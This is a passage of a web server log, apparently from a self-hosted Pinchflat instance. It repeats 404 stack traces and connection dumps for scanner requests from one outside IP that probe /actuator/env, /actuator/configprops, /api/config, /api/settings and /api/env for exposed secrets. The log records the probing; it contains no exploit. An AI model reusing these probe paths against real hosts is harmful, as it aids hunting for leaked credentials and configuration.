~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9741.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/actuator/env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 46998}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /actuator/env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9741.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/actuator/env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 46998}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9742.0>, params: %{}, path_info: ["actuator", "env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/actuator/env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBfxB7_YliDMAA (truncated) 15:22:00.545 [info] GET /actuator/configprops 15:22:00.545 [debug] QUERY OK source="settings" db=0.1ms idle=472.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:00.545 [debug] QUERY OK source="settings" db=0.0ms idle=472.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:00.546 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:22:00.546 [error] #PID<0.9744.0> running PinchflatWeb.Endpoint (connection #PID<0.9743.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /actuator/configprops ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /actuator/configprops (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9743.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/actuator/configprops", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47008}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9744.0>, params: %{}, path_info: ["actuator", "configprops"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/actuator/configprops", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBgphkR1FFf4AAdJC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9743.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/actuator/configprops", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47008}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /actuator/configprops (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9743.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/actuator/configprops", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47008}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9744.0>, params: %{}, path_info: ["actuator", "configprops"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/actuator/configprops", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-ag (truncated) 15:22:00.667 [info] {"source":"oban","duration":162,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:22:00.784 [info] GET /api/config 15:22:00.784 [debug] QUERY OK source="settings" db=0.1ms idle=475.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:00.784 [debug] QUERY OK source="settings" db=0.0ms idle=264.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:00.784 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:22:00.785 [error] #PID<0.9746.0> running PinchflatWeb.Endpoint (connection #PID<0.9745.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /api/config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9745.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/config", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47012}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9746.0>, params: %{}, path_info: ["api", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/api/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBhieihW_KFAAAdKC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9745.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/config", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47012}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9745.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/config", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47012}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9746.0>, params: %{}, path_info: ["api", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/api/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBhieihW_KFAAAdKC"} ], (truncated) 15:22:01.022 [info] GET /api/settings 15:22:01.023 [debug] QUERY OK source="settings" db=0.2ms idle=477.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:01.023 [debug] QUERY OK source="settings" db=0.0ms idle=477.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:01.023 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:22:01.023 [error] #PID<0.9748.0> running PinchflatWeb.Endpoint (connection #PID<0.9747.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /api/settings ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/settings (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9747.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/settings", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47016}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9748.0>, params: %{}, path_info: ["api", "settings"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/api/settings", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBibUbZsbgXsAAdLC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9747.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/settings", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47016}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/settings (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9747.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/settings", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47016}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9748.0>, params: %{}, path_info: ["api", "settings"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)"}, {"x-forwarded-for", "147.45.186.144"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "147.45.186.144"} ], request_path: "/api/settings", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDBibUbZsbgXsAA (truncated) 15:22:01.258 [info] GET /api/env 15:22:01.258 [debug] QUERY OK source="settings" db=0.1ms idle=590.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:01.258 [debug] QUERY OK source="settings" db=0.0ms idle=473.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:22:01.258 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:22:01.258 [error] #PID<0.9750.0> running PinchflatWeb.Endpoint (connection #PID<0.9749.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /api/env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9749.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 47024}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X Ran; +https://silvyxran.love; +https://silver.inc)", "x-forwarded-for" => "147.45.186.144", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "147.45.186.144" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9750.0>, params: %{}, path_info: ["api", "env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 (Silvy X 